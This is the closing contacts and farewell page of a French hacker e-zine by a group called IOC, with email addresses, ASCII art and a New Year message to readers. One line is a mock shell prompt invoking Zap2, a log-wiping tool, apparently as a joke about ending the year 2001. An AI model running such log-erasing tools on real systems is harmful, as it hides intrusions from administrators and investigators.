-------------------------------------------------------------------------------------------
IX. >>> CONTACTS <<<
-------------------------------------------------------------------------------------------
o Lex Icon : Invisible_evil_meik@hotmail.com
o Neo Fox : neo_fox_2001@hotmail.com
o Merlin : IOC_merlin@hotmail.com
o Wargames : wargames8@caramail.com
o Notre site : http://IOC.multimania.com
____ __ _ ____ _ _ _ ___ _ __ _
/ ____| / \ | \ || / ____|| | | | | | / _\|_| / \ | \ ||
/ / | /\ |||\\ ||/ / | | | | | | \ / _ | /\ |||\\ ||
\ \____ | \/ ||| \\||\ \____ | |__ | \__/ ||\_\ \ | || \/ ||| \\||
\ ____| \__/ || \\| \ ____||____| \____/ \___/ |_| \__/ || \\|
[IOC@localhost /~]# ./Zap2 2001
Ainsi s'achève notre mag, ainsi s'achève 2001, ainsi commençe une
nouvelle année ; ça fait beaucoup en une seule journée. On espère
que vous n'avez pas trop forçé sur la vodka hier soir, ça ferait
chier que des lecteurs potentiels aient terminé la soirée dans un
arbre avec leur caisse, sans même avoir eut l'occasion de lire ce
second numéro ; c'est vrai quoi, on écrit pas ce mag. pour les
platanes ! Si tant est que vous soyez toujours en un seul et
même morceau - et nous aussi d'ailleurs - et si vous avez aimé
ce numéro, envoyez nous des mails de soutien, ça fait toujours
plaisir de savoir qu'on est lus ; au contraire, si vous ne l'avez
pas trouvé intéressant, mailez nous quand même pour nous faire
part de vos critiques, ça nous aidera à améliorer. On vous donne
rendez vous à la sortie de l'issue #3. En attendant, toute notre
équipe vous souhaite une Bonne Année 2002 !
- IOC
- Copyrights © 2002 [IOC] -